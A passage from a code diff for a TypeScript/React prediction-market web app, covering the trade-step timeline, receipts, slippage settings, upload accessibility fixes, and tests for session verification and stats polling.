from the visitor's wallet to the trade wallet; absent when none move. */ + credits?: bigint; +} + +/** An xDAI payment adds its deposit; a collateral payment adds `toAdd` itself. */ +export function fundsToAdd( + funding: Funding | null, + pay: { id: PayToken; symbol: string; decimals: number }, + collateral: { symbol: string; decimals: number }, +): FundsToAdd { + const toAdd = funding?.toAdd ?? 0n; + const moved = (funding?.credits ?? []).reduce((sum, use) => sum + use.fromWallet, 0n); + const credits = moved > 0n ? { credits: moved } : {}; + if (pay.id === "collateral") return { toAdd, ...collateral, ...credits }; + return { + toAdd: funding?.deposit ?? 0n, + symbol: pay.symbol, + decimals: pay.decimals, + ...credits, + }; +} + +/** + * The three rows of futarchy's predict timeline — trade wallet, funds, prediction — shown before + * a run starts and filled in by the run's own steps once it does. + */ +export function predictSteps( + args: FundsToAdd & { + wallet: { address: Address; deployed: boolean } | null; + progress: PredictProgress | null; + }, +): PredictSteps { + const { wallet, toAdd, symbol, decimals, credits = 0n, progress } = args; + // the driver reads a sent transaction's receipt under "confirming" with no step of its own running + const reconciling = + progress?.stage === "confirming" && + Boolean(progress.pendingHash) && + !progress.steps.some((step) => step.state === "running"); + const sentId = reconciling ? progress.steps.find((step) => step.state !== "success")?.id : undefined; + const runSteps = (progress?.steps ?? []).map((step) => + step.id === sentId ? { ...step, state: "running" as const } : step, + ); + const row = (id: string) => runSteps.find((step) => step.id === id); + const halted = progress?.stage === "halted"; + + const walletRow = row(STEP_ID.createExecutor); + const walletReady = Boolean(wallet?.deployed) || walletRow?.state === "success"; + + // the credits transfer and the deposit share the one funds row + const fundsSteps = [row(STEP_ID.addCredits), row(STEP_ID.deposit)].filter((step) => step !== undefined); + const fundsState = + fundsSteps.length === 0 + ? undefined + : fundsSteps.some((step) => step.state === "error") + ? "error" + : fundsSteps.some((step) => step.state === "running") + ? "running" + : fundsSteps.every((step) => step.state === "success") + ? "success" + : "pending"; + + const batches = runSteps.filter((step) => step.id.startsWith("predict-")); + const runningBatch = batches.findIndex((step) => step.state === "running"); + // the routes are priced before anything is signed, while no step of the run is going yet + const checking = progress?.stage === "quoting" && !runSteps.some((step) => step.state === "running"); + const predictRunning = runningBatch >= 0; + const stageCopy = progress ? (STAGE_COPY[progress.stage] ?? "") : ""; + const adding = [ + ...(credits > 0n ? [`${shownAmount(credits, 18)} credits`] : []), + // the sDAI an xDAI deposit becomes is said under the amount and in Details + ...(toAdd > 0n ? [`${shownAmount(toAdd, decimals)} ${symbol}`] : []), + ].join(" + "); + // only a batch quotes, so the steps before one say only what the wallet is waiting on + const txWait = progress?.stage === "signing" || progress?.stage === "confirming" ? stageCopy : ""; + + // the row whose step errored stopped the run; with none, nothing got past pricing. + // A sent, unconfirmed transaction may still land, as may a held send, so its row is not crossed. + const mayLand = Boolean(progress?.pendingHash) || Boolean(progress?.unanswered); + const failedKey: PredictStepRow["key"] | undefined = + halted && !mayLand + ? walletRow?.state === "error" + ? "wallet" + : fundsState === "error" + ? "funds" + : "predict" + : undefined; + const partial = + halted && progress.batchesDone > 0 ? `${progress.batchesDone} of ${progress.batches} went through` : ""; + + const rows: PredictStepRow[] = [ + walletReady && wallet + ? { key: "wallet", title: "Trade wallet", subtitle: shortenAddress(wallet.address), view: "done" } + : { + key: "wallet", + title: "Create a trade wallet", + subtitle: walletRow?.state === "running" ? txWait : "", + view: walletRow?.state === "running" ? "running" : "idle", + }, + { + key: "funds", + title: "Add funds", + // while it runs the amount is in the locked field above, so the row shows only the wait + subtitle: fundsState === "running" ? txWait : adding, + view: + fundsState === "running" + ? "running" + : fundsState === "success" + ? "done" + : halted || adding === "" + ? "inactive" + : "idle", + }, + { + key: "predict", + title: "Place prediction", + subtitle: predictRunning + ? batches.length > 1 + ? `${runningBatch + 1} of ${batches.length}${stageCopy ? ` · ${stageCopy}` : ""}` + : stageCopy + : "", + view: predictRunning ? "running" : progress?.stage === "complete" ? "done" : halted ? "inactive" : "idle", + }, + ]; + + const started = progress && progress.stage !== "idle" ? { started: true as const } : {}; + if (!halted) + return { + rows, + ...started, + ...(reconciling ? { note: RECONCILING_COPY } : {}), + ...(checking ? { pricing: true as const } : {}), + }; + + const marked = rows.map((stepRow) => + stepRow.key === failedKey + ? { ...stepRow, view: "failed" as const, subtitle: stepRow.key === "predict" ? partial : stepRow.subtitle } + : stepRow, + ); + // a hash no node finds is said as what the visitor can do with it + const unseen = progress.failure?.reason === "unseen" || progress.failure?.reason === "resign"; + const reason = + progress.pendingHash && !unseen + ? PENDING_COPY + : progress.failure?.reason === "funds" && progress.moneyMoved + ? FEE_ONLY_OUT_OF_FUNDS_COPY + : progress.failure?.reason === "credits" && progress.moneyMoved + ? CREDITS_LOCKED_COPY + : progress.failure + ? FAILURE_COPY[progress.failure.reason] + : FAILURE_COPY.unknown; + return { rows: marked, failure: reason, ...started, ...(mayLand ? { pending: true as const } : {}) }; +} + +export interface StatusLine { + text: string; + tone: "neutral" | "warning" | "error"; + /** Said for the visitor's information only, in the popup's small type on one line. */ + small?: true; + /** A run is checking something before it goes on. */ + waiting?: true; +} + +/** + * The popup's one status line under the steps, most pressing first: what the visitor has to do, + * why a run stopped, what a run is checking, or what it left out. Empty while things go normally. + */ +export function statusLine(args: { + steps: PredictSteps; + notice?: string; + leftOut: number; + /** What changed when the pools were read again before signing, waiting for the visitor to confirm. */ + moved?: MovedStatus; + /** The credits swap's loss as Details shows it, when it is large enough to say before a run. */ + creditsLoss?: string; +}): StatusLine | null { + const { steps, notice, leftOut, moved, creditsLoss } = args; + if (notice) return { text: notice, tone: "warning" }; + if (steps.failure) return { text: steps.failure, tone: steps.pending ? "warning" : "error" }; + if (moved !== undefined) return { text: movedText(moved), tone: "warning" }; + if (steps.note) return { text: steps.note, tone: "neutral", waiting: true }; + if (creditsLoss !== undefined && !steps.started) { + return { text: `Credits swap loses ${creditsLoss}.`, tone: "warning", small: true }; + } + if (leftOut > 0) return { text: `${leftOutText(leftOut)}.`, tone: "neutral" }; + return null; +} + +export interface MovedStatus { + /** Markets whose plan changed. */ + markets: number; + /** The credits swap now pays less than its shown floor. */ + credits: boolean; + /** The one market that moved, where it now goes and where it went before. */ + only?: { name: string; to: string; was: string }; + /** The plans changed with the visitor's new slippage, not with the pools. */ + bySlippage?: true; +} + +/** The longest named moved line that keeps to the callout's two lines at 320px wide, measured with real names. */ +const NAMED_LINE_MAX = 62; + +/** Said when the pools moved since Details was read, before anything more is signed. */ +function movedText({ markets, credits, only, bySlippage }: MovedStatus): string { + if (bySlippage) return "Your new slippage changes the trades. Confirm to go on."; + if (!credits && markets === 1 && only) { + // a figure and its unit wrap as one + const whole = (value: string) => value.replaceAll(" ", "\u00a0"); + const named = `${only.name} now goes to ${whole(only.to)}, not ${whole(only.was)}. Confirm to go on.`; + if (named.length <= NAMED_LINE_MAX) return named; + } + const count = `${markets} ${markets === 1 ? "market" : "markets"}`; + if (credits && markets > 0) return `Prices moved on ${count} and the credits swap. Confirm to go on.`; + return `${credits ? "The credits swap now pays less" : `Prices moved on ${count}`}. Confirm to go on.`; +} + +/** The button's label while the visitor is asked to confirm the new figures. */ +export const CONFIRM_MOVED = "Confirm new prices"; + +/** The button's label where the new figures come from the visitor's new slippage. */ +export const CONFIRM_SLIPPAGE = "Confirm trades"; + +/** "2 estimates could not be traded", with no full stop. */ +export function leftOutText(count: number): string { + return `${count} ${count === 1 ? "estimate" : "estimates"} could not be traded`; +} diff --git a/apps/web/src/features/predict/utils/receipt.ts b/apps/web/src/features/predict/utils/receipt.ts new file mode 100644 index 00000000..dea605eb --- /dev/null +++ b/apps/web/src/features/predict/utils/receipt.ts @@ -0,0 +1,91 @@ +import type { Address, Hash } from "viem"; + +import { shortenAddress } from "@/utils/address"; + +import { shownAmount } from "./funding"; +import type { FundsToAdd } from "./predictSteps"; +import { STEP_ID } from "../flow/stepIds"; + +/** A settled step of a finished run; `hash` is absent where the step was skipped. */ +export interface PlacedStep { + id: string; + hash?: Hash; +} + +export interface ReceiptLink { + hash: Hash; + href: string; + /** The link's accessible name. */ + label: string; + /** Shown beside the arrow where a row has several links. */ + text?: string; +} + +export interface ReceiptRow { + id: string; + title: string; + detail?: string; + links: ReceiptLink[]; +} + +/** + * A finished run's steps as the success dialog lists them. A skipped wallet step means the wallet + * already existed, so it has no row; a skipped funds step landed unseen, so its row has no link. + */ +export function receiptRows(args: { + steps: PlacedStep[]; + /** What the funds step added, as the run's timeline said it. */ + funds?: FundsToAdd; + wallet?: Address; + /** The transaction's explorer page; undefined on a chain with none. */ + txUrl: (hash: Hash) => string | undefined; +}): ReceiptRow[] { + const { steps, funds, wallet, txUrl } = args; + const link = (hash: Hash | undefined, label: string, text?: string): ReceiptLink[] => { + const href = hash && txUrl(hash); + return hash && href ? [{ href, hash, label, ...(text ? { text } : {}) }] : []; + }; + const step = (id: string) => steps.find((entry) => entry.id === id); + const rows: ReceiptRow[] = []; + + const created = step(STEP_ID.createExecutor); + if (created?.hash) { + rows.push({ + id: created.id, + title: "Trade wallet created", + ...(wallet ? { detail: shortenAddress(wallet) } : {}), + links: link(created.hash, "Trade wallet transaction"), + }); + } + const credits = step(STEP_ID.addCredits); + if (credits) { + rows.push({ + id: credits.id, + title: "Credits added", + ...(funds?.credits ? { detail: `${shownAmount(funds.credits, 18)} credits` } : {}), + links: link(credits.hash, "Credits transaction"), + }); + } + const deposit = step(STEP_ID.deposit); + if (deposit) { + rows.push({ + id: deposit.id, + title: "Funds added", + ...(funds && funds.toAdd > 0n ? { detail: `${shownAmount(funds.toAdd, funds.decimals)} ${funds.symbol}` } : {}), + links: link(deposit.hash, "Funds transaction"), + }); + } + const batches = steps.filter((entry) => entry.id.startsWith("predict-")); + if (batches.length > 0) { + rows.push({ + id: "predict", + title: "Prediction placed", + links: batches.flatMap((batch, index) => + batches.length > 1 + ? link(batch.hash, `Prediction transaction ${index + 1} of ${batches.length}`, String(index + 1)) + : link(batch.hash, "Prediction transaction"), + ), + }); + } + return rows; +} diff --git a/apps/web/src/features/predict/utils/slippage.ts b/apps/web/src/features/predict/utils/slippage.ts new file mode 100644 index 00000000..c1437c0d --- /dev/null +++ b/apps/web/src/features/predict/utils/slippage.ts @@ -0,0 +1,67 @@ +import type { PredictSlippage } from "../flow/types"; +import { + DEFAULT_SLIPPAGE, + HIGH_SLIPPAGE_BPS, + LOW_SLIPPAGE_BPS, + MAX_SLIPPAGE_BPS, + MIN_SLIPPAGE_BPS, +} from "../oracle/tolerances"; + +export type SlippageKind = keyof PredictSlippage; + +/** The visitor's own slippage per swap kind, in basis points; null is Auto, the run's default. */ +export type SlippageSettings = Record; + +export const AUTO_SLIPPAGE: SlippageSettings = { tradeBps: null, creditsBps: null }; + +/** Each setting's one name, in the settings, in Details and for assistive tech. */ +export const SLIPPAGE_LABEL: Record = { + tradeBps: "Max slippage", + creditsBps: "Credits swap slippage", +}; + +const isBps = (value: unknown): value is number => + typeof value === "number" && Number.isInteger(value) && value >= MIN_SLIPPAGE_BPS && value <= MAX_SLIPPAGE_BPS; + +/** Persisted settings are untrusted: a value that is not a whole number of basis points in range reads as Auto. */ +export function normalizeSlippageSettings(value: unknown): SlippageSettings { + const saved = value && typeof value === "object" ? (value as Record) : {}; + return { + tradeBps: isBps(saved.tradeBps) ? saved.tradeBps : null, + creditsBps: isBps(saved.creditsBps) ? saved.creditsBps : null, + }; +} + +/** The slippage a run uses: the visitor's value where they set one, the default elsewhere. */ +export function resolveSlippage(settings: SlippageSettings): PredictSlippage { + return { + tradeBps: settings.tradeBps ?? DEFAULT_SLIPPAGE.tradeBps, + creditsBps: settings.creditsBps ?? DEFAULT_SLIPPAGE.creditsBps, + }; +} + +/** + * A typed percent as basis points: up to two decimals, a comma read as a point, 0.01 to the cap. + * Null for empty text, which is Auto; "invalid" for anything else. + */ +export function parseSlippagePercent(text: string): number | null | "invalid" { + const trimmed = text.trim().replace(",", ".").replace(/%$/, "").trim(); + if (trimmed === "") return null; + const match = /^(\d{1,3})(?:\.(\d{0,2}))?$|^\.(\d{1,2})$/.exec(trimmed); + if (!match) return "invalid"; + const whole = match[1] ?? "0"; + const fraction = (match[2] ?? match[3] ?? "").padEnd(2, "0"); + const bps = Number(whole) * 100 + Number(fraction); + return bps >= MIN_SLIPPAGE_BPS && bps <= MAX_SLIPPAGE_BPS ? bps : "invalid"; +} + +/** Basis points as a percent with no trailing zeros: 100 is `1`, 20 is `0.2`, 125 is `1.25`. */ +export function slippagePercent(bps: number): string { + return String(bps / 100); +} + +/** A value above which a swap can lose far more than the pools usually move. */ +export const isHighSlippage = (kind: SlippageKind, bps: number): boolean => bps > HIGH_SLIPPAGE_BPS[kind]; + +/** A value below which a swap is likely to revert on any move between its quote and its send. */ +export const isLowSlippage = (kind: SlippageKind, bps: number): boolean => bps < LOW_SLIPPAGE_BPS[kind]; diff --git a/apps/web/src/features/session-create/components/DisplayMetadataStep.tsx b/apps/web/src/features/session-create/components/DisplayMetadataStep.tsx index cf0bc009..b4d3c6d2 100644 --- a/apps/web/src/features/session-create/components/DisplayMetadataStep.tsx +++ b/apps/web/src/features/session-create/components/DisplayMetadataStep.tsx @@ -1,4 +1,4 @@ -import { useState } from "react"; +import { useEffect, useLayoutEffect, useRef, useState, type ComponentProps } from "react"; import { FileUploader, TextArea, TextField, Tooltip } from "@kleros/ui-components-library"; import clsx from "clsx"; @@ -25,6 +25,26 @@ const MARKDOWN_INPUT = "w-full text-sm"; const UPLOADER = "w-full [&_small]:text-sm"; +/** The library names every drop zone "DropZone" plus the first `#dropzone-label` on the page, and re-ids it after mount. */ +function NamedFileUploader({ label, ...props }: ComponentProps & { label: string }) { + const ref = useRef(null); + // The extra render after mount lands after the library's own re-id. + const [settled, setSettled] = useState(false); + useEffect(() => setSettled(true), []); + useLayoutEffect(() => { + // The library renders a visually hidden drop-zone button before the visible one. + const [dropZone, trigger] = ref.current?.querySelectorAll("button") ?? []; + dropZone?.setAttribute("aria-label", "Paste or drop a file"); + dropZone?.removeAttribute("aria-labelledby"); + trigger?.setAttribute("aria-label", label); + }, [label, settled]); + return ( +
    + +
    + ); +} + /** What this step offers, before the role's own allow-list narrows it. */ const HERO_TYPES = ["image/png", "image/jpeg"]; const ICON_TYPES = [...HERO_TYPES, "image/svg+xml"]; @@ -229,7 +249,8 @@ export function DisplayMetadataStep({
    Creator mark
    - pick("icon", "iconName", file)} acceptedFileTypes={allowedOf(ICON_TYPES, restriction)} @@ -242,7 +263,8 @@ export function DisplayMetadataStep({
    Hero image
    - pick("hero", "heroImageName", file)} acceptedFileTypes={allowedOf(HERO_TYPES, restriction)} @@ -288,7 +310,8 @@ export function DisplayMetadataStep({ /> ))} {o.images.length < MAX_IMAGE_BLOCKS ? ( - = { unknown: "", pending: "It is still confirming.", confirmed: "It went through while you were away.", + cancelled: "This step was cancelled or replaced.", reverted: "It failed, and created nothing.", dropped: "It never went through.", }; diff --git a/apps/web/src/features/session-create/components/__tests__/DisplayMetadataStep.test.tsx b/apps/web/src/features/session-create/components/__tests__/DisplayMetadataStep.test.tsx index 2c3a03ac..be886862 100644 --- a/apps/web/src/features/session-create/components/__tests__/DisplayMetadataStep.test.tsx +++ b/apps/web/src/features/session-create/components/__tests__/DisplayMetadataStep.test.tsx @@ -82,3 +82,33 @@ describe("DisplayMetadataStep branch galleries", () => { expect(screen.queryByText("Required. Shown with the image.")).not.toBeInTheDocument(); }); }); + +describe("DisplayMetadataStep drop zones", () => { + /** The buttons each uploader puts in front of its file input: icon, hero, then one per branch. */ + const uploaderButtons = () => + [...document.querySelectorAll("input[type='file']")].map((input) => { + let zone = input.parentElement; + while (zone && !zone.querySelector("button, [role='button']")) zone = zone.parentElement; + return [...(zone?.querySelectorAll("button, [role='button']") ?? [])]; + }); + + it("names each zone after the image it takes", () => { + renderStep(); + + expect(screen.getByRole("button", { name: /icon/i })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /hero image/i })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /image.*outcome 1/i })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /image.*outcome 2/i })).toBeInTheDocument(); + }); + + it("leaves the icon text out of every uploader button's name", () => { + renderStep(); + + const uploaders = uploaderButtons(); + expect(uploaders).toHaveLength(4); + for (const button of uploaders.flat()) { + expect(button).toHaveAccessibleName(); + expect(button).not.toHaveAccessibleName(/DropZone/); + } + }); +}); diff --git a/apps/web/src/features/session-create/deploy/orchestratedDriver.ts b/apps/web/src/features/session-create/deploy/orchestratedDriver.ts index 77404469..c2d6733e 100644 --- a/apps/web/src/features/session-create/deploy/orchestratedDriver.ts +++ b/apps/web/src/features/session-create/deploy/orchestratedDriver.ts @@ -377,13 +377,16 @@ export function createOrchestratedDeploy(args: { // back describes a run this driver no longer holds. if (!orchestrator.getRun()) return; + // a deploy the node does not know is signed again on resume + if (reconciled.outcome === "unseen") orchestrator.releaseInFlight(); + const current = currentEntry(orchestrator.getRun()?.steps ?? []); const stepId = reconciled.stepId ?? current?.stepId ?? STEP_ID.atomic; resume = { stepId, label: current?.label ?? "the deploy", - outcome: reconciled.outcome, + outcome: reconciled.outcome === "unseen" ? "dropped" : reconciled.outcome, // Every other outcome is the chain having answered. canSelfCheck: reconciled.outcome === "unknown" ? Boolean(reconciled.canSelfCheck) : true, hash: reconciled.hash, diff --git a/apps/web/src/features/session-create/deploy/types.ts b/apps/web/src/features/session-create/deploy/types.ts index 27297b7f..5267cab5 100644 --- a/apps/web/src/features/session-create/deploy/types.ts +++ b/apps/web/src/features/session-create/deploy/types.ts @@ -32,7 +32,7 @@ export type DeployFailure = { export type DeployResume = { stepId: string; label: string; - outcome: "none" | "unknown" | "pending" | "confirmed" | "reverted" | "dropped"; + outcome: "none" | "unknown" | "pending" | "confirmed" | "reverted" | "cancelled" | "dropped"; /** False means continuing may pay for work already on chain. */ canSelfCheck: boolean; hash?: string; diff --git a/apps/web/src/features/session-create/hooks/useSessionDeploy.ts b/apps/web/src/features/session-create/hooks/useSessionDeploy.ts index 84f1a944..b681e260 100644 --- a/apps/web/src/features/session-create/hooks/useSessionDeploy.ts +++ b/apps/web/src/features/session-create/hooks/useSessionDeploy.ts @@ -2,19 +2,14 @@ import { useEffect, useMemo, useRef, useSyncExternalStore } from "react"; -import { - createFlowRunStore, - createMemoryStorage, - createViemTxGateway, - fromWebStorage, - type FlowRunStore, -} from "@foresight/tx-orchestrator"; +import { createViemTxGateway, type FlowRunStore } from "@foresight/tx-orchestrator"; import { useAtlasProvider } from "@kleros/kleros-app"; import { sendTransaction } from "@wagmi/core"; import { useAccount } from "wagmi"; import { createMetadataUploader } from "@/lib/atlas/ipfs"; import { DOCUMENT_UPLOAD_ROLE, IMAGE_UPLOAD_ROLE } from "@/lib/atlas/uploads"; +import { createRunStore } from "@/lib/flowRunStore"; import { fetchGraphql } from "@/lib/graphql/batcher"; import { publicClient } from "@/lib/web3/public-client"; import { wagmiConfig } from "@/lib/web3/wagmi"; @@ -31,11 +26,6 @@ import type { SessionDeployDriver, SessionDeployProgress } from "../deploy/types import { useDraftStore } from "../stores/draftStore"; import { getImageFile, imageSlot } from "../stores/imageStore"; -function createRunStore(): FlowRunStore { - const storage = typeof window === "undefined" ? createMemoryStorage() : fromWebStorage(window.localStorage); - return createFlowRunStore({ storage }); -} - export function useSessionDeploy(outcomeCount: number): { driver: SessionDeployDriver; progress: SessionDeployProgress; diff --git a/apps/web/src/features/sessions/api/__tests__/getSession.marketConfiguration.test.tsx b/apps/web/src/features/sessions/api/__tests__/getSession.marketConfiguration.test.tsx new file mode 100644 index 00000000..f19364fe --- /dev/null +++ b/apps/web/src/features/sessions/api/__tests__/getSession.marketConfiguration.test.tsx @@ -0,0 +1,55 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { renderHook, waitFor } from "@testing-library/react"; +import { afterEach, expect, it, vi } from "vitest"; + +import { estimateToPriceWad } from "@/utils/optionPrice"; + +import { fetchGraphql } from "@/lib/graphql/batcher"; + +import { sessionChildRow, sessionDetailColumns } from "../../utils/__tests__/fixtures"; +import { useSession } from "../getSession"; +import { SDAI } from "./support/verifiedSession"; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +vi.mock("@/lib/web3/public-client", async () => ({ + publicClient: (await import("./support/verifiedSession")).verifiedClient, +})); +vi.mock("@/config/chains", () => ({ DEFAULT_CHAIN_ID: 100 })); +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://example.test/ipfs" })); +afterEach(() => vi.clearAllMocks()); + +const original = { + ...sessionDetailColumns, + collateralToken: SDAI, + children: [sessionChildRow({ parentOutcomeIndex: "0" })], +}; +function session(row = original) { + vi.mocked(fetchGraphql).mockResolvedValue({ Session: [row] }); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + return renderHook(() => useSession(row.parentMarket), { wrapper }); +} + +it.each([ + { upperBound: String(5000n * 10n ** 18n) }, + { upToken: "0x1111111111111111111111111111111111111111" }, + { underlyingToken: "0x1111111111111111111111111111111111111111" }, + { id: "0x1111111111111111111111111111111111111111" }, + { parentOutcomeIndex: "1" }, +])("rejects changed signing configuration with unchanged display labels: %j", async (change) => { + const { result } = session({ ...original, children: [{ ...original.children[0]!, ...change }] }); + await waitFor(() => expect(result.current.isError).toBe(true)); + expect(result.current.data).toBeUndefined(); +}); + +it("uses verified bounds and wrapped outcomes for the displayed scale and target price", async () => { + const { result } = session(); + await waitFor(() => expect(result.current.isSuccess).toBe(true)); + const detail = result.current.data!; + expect(detail.options[0]).toMatchObject({ lowerBound: 0, upperBound: 500, upToken: original.children[0]!.upToken }); + expect(estimateToPriceWad(125, detail.options[0]!)).toBe(250000000000000000n); +}); diff --git a/apps/web/src/features/sessions/api/__tests__/getSession.parentBinding.test.tsx b/apps/web/src/features/sessions/api/__tests__/getSession.parentBinding.test.tsx new file mode 100644 index 00000000..f167a1f0 --- /dev/null +++ b/apps/web/src/features/sessions/api/__tests__/getSession.parentBinding.test.tsx @@ -0,0 +1,36 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { renderHook, waitFor } from "@testing-library/react"; +import { expect, it, vi } from "vitest"; + +import { fetchGraphql } from "@/lib/graphql/batcher"; + +import { sessionChildRow, sessionDetailColumns } from "../../utils/__tests__/fixtures"; +import { useSession } from "../getSession"; + +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://example.test/ipfs" })); +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); + +it("rejects a response for another decision before caching it under the requested URL", async () => { + const requested = "0x1111111111111111111111111111111111111111"; + vi.mocked(fetchGraphql).mockResolvedValue({ + Session: [ + { + ...sessionDetailColumns, + parentMarket: "0x2222222222222222222222222222222222222222", + children: [sessionChildRow()], + }, + ], + }); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + const { result } = renderHook(() => useSession(requested), { wrapper }); + await waitFor(() => expect(result.current.isError).toBe(true)); + expect(result.current.data).toBeUndefined(); + expect(result.current.error?.message).toBe("This session does not match the requested decision."); + expect(vi.mocked(fetchGraphql).mock.calls.at(-1)?.[1]).toEqual({ parentMarket: requested }); +}); diff --git a/apps/web/src/features/sessions/api/__tests__/getSessionStats.test.ts b/apps/web/src/features/sessions/api/__tests__/getSessionStats.test.ts new file mode 100644 index 00000000..5128e6ec --- /dev/null +++ b/apps/web/src/features/sessions/api/__tests__/getSessionStats.test.ts @@ -0,0 +1,160 @@ +import { QueryClient } from "@tanstack/react-query"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { fetchGraphql } from "@/lib/graphql/batcher"; + +import { sessionChartKey } from "../getSessionChart"; +import { refreshSessionAfterTrade, sessionStatsKey } from "../getSessionStats"; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); + +const SESSION = "session-1"; +const POLL_MS = 5_000; + +const served = (traders: number, volume: number) => ({ + Prediction: Array.from({ length: traders }, (_, i) => ({ executor_id: `0x${i}` })), + Pool: [{ id: "pool", volumeUnderlying: String(volume) }], +}); + +describe("refreshSessionAfterTrade", () => { + let queryClient: QueryClient; + let invalidations: { key: unknown; reads: number }[]; + + beforeEach(() => { + vi.useFakeTimers(); + vi.mocked(fetchGraphql).mockReset(); + queryClient = new QueryClient(); + invalidations = []; + vi.spyOn(queryClient, "invalidateQueries").mockImplementation(async (filters) => { + invalidations.push({ key: filters?.queryKey, reads: vi.mocked(fetchGraphql).mock.calls.length }); + }); + }); + + afterEach(() => { + vi.useRealTimers(); + }); + + const serveInOrder = (...responses: ReturnType[]) => { + let read = 0; + vi.mocked(fetchGraphql).mockImplementation(async () => responses[Math.min(read++, responses.length - 1)]!); + }; + const keysInvalidated = () => invalidations.map((i) => JSON.stringify(i.key)); + const settle = (ms: number) => vi.advanceTimersByTimeAsync(ms); + + it("invalidates nothing while the indexer still serves the pre-trade stats", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + serveInOrder(served(1, 10)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS * 3); + + expect(invalidations).toEqual([]); + await settle(POLL_MS * 20); + await done; + }); + + it("invalidates the chart and the stats once the indexer serves the trade", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + serveInOrder(served(1, 10), served(1, 10), served(2, 30)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS * 2); + expect(invalidations).toEqual([]); + await settle(POLL_MS); + + expect(keysInvalidated()).toEqual( + expect.arrayContaining([JSON.stringify(sessionChartKey(SESSION)), JSON.stringify(sessionStatsKey(SESSION))]), + ); + await settle(POLL_MS * 20); + await done; + }); + + it("invalidates when only the volume moves, as when a returning trader predicts again", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + serveInOrder(served(1, 10), served(1, 30)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS); + expect(invalidations).toEqual([]); + await settle(POLL_MS); + + expect(keysInvalidated()).toEqual( + expect.arrayContaining([JSON.stringify(sessionChartKey(SESSION)), JSON.stringify(sessionStatsKey(SESSION))]), + ); + await settle(POLL_MS * 20); + await done; + }); + + it("invalidates when only the trader count moves, as when the volume is not indexed yet", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + serveInOrder(served(1, 10), served(2, 10)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS); + expect(invalidations).toEqual([]); + await settle(POLL_MS); + + expect(keysInvalidated()).toEqual( + expect.arrayContaining([JSON.stringify(sessionChartKey(SESSION)), JSON.stringify(sessionStatsKey(SESSION))]), + ); + await settle(POLL_MS * 20); + await done; + }); + + it("keeps watching past someone else's trade so this prediction is still refreshed once indexed", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + serveInOrder(served(2, 20), served(2, 20), served(2, 30)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS * 20); + await done; + + const lastReadWithTrade = 3; + expect(Math.max(...invalidations.map((i) => i.reads))).toBeGreaterThanOrEqual(lastReadWithTrade); + const afterOwnTrade = invalidations.filter((i) => i.reads >= lastReadWithTrade).map((i) => JSON.stringify(i.key)); + expect(afterOwnTrade).toEqual( + expect.arrayContaining([JSON.stringify(sessionChartKey(SESSION)), JSON.stringify(sessionStatsKey(SESSION))]), + ); + }); + + it("refreshes when the page had no stats cached yet", async () => { + serveInOrder(served(1, 10)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS); + + expect(keysInvalidated()).toContain(JSON.stringify(sessionStatsKey(SESSION))); + await settle(POLL_MS * 20); + await done; + }); + + it("still refreshes both once the attempts run out without the indexer moving", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + serveInOrder(served(1, 10)); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS * 20); + await done; + + expect(keysInvalidated()).toEqual([ + JSON.stringify(sessionChartKey(SESSION)), + JSON.stringify(sessionStatsKey(SESSION)), + ]); + }); + + it("keeps polling through a failed read", async () => { + queryClient.setQueryData(sessionStatsKey(SESSION), { traders: 1, volumeUnderlying: 10n }); + let read = 0; + vi.mocked(fetchGraphql).mockImplementation(async () => { + if (read++ === 0) throw new Error("indexer down"); + return served(2, 30); + }); + + const done = refreshSessionAfterTrade(queryClient, SESSION); + await settle(POLL_MS * 2); + + expect(keysInvalidated()).toContain(JSON.stringify(sessionStatsKey(SESSION))); + await settle(POLL_MS * 20); + await done; + }); +}); diff --git a/apps/web/src/features/sessions/api/__tests__/support/verifiedSession.ts b/apps/web/src/features/sessions/api/__tests__/support/verifiedSession.ts new file mode 100644 index 00000000..f2df3220 --- /dev/null +++ b/apps/web/src/features/sessions/api/__tests__/support/verifiedSession.ts @@ -0,0 +1,58 @@ +import type { Address, PublicClient } from "viem"; + +import { addresses } from "@/testing/fixtures"; + +import { sessionChildRow, sessionDetailColumns } from "../../../utils/__tests__/fixtures"; + +const row = sessionDetailColumns; +const child = sessionChildRow(); +export const SDAI = "0xaf204776c7245bF4147c2612BF6e5972Ee483701"; +const read = ({ + address, + functionName, + args, +}: { + address: Address; + functionName: string; + args?: readonly unknown[]; +}) => { + switch (functionName) { + case "getSession": + return { + parentMarket: row.parentMarket, + childMarkets: [child.id], 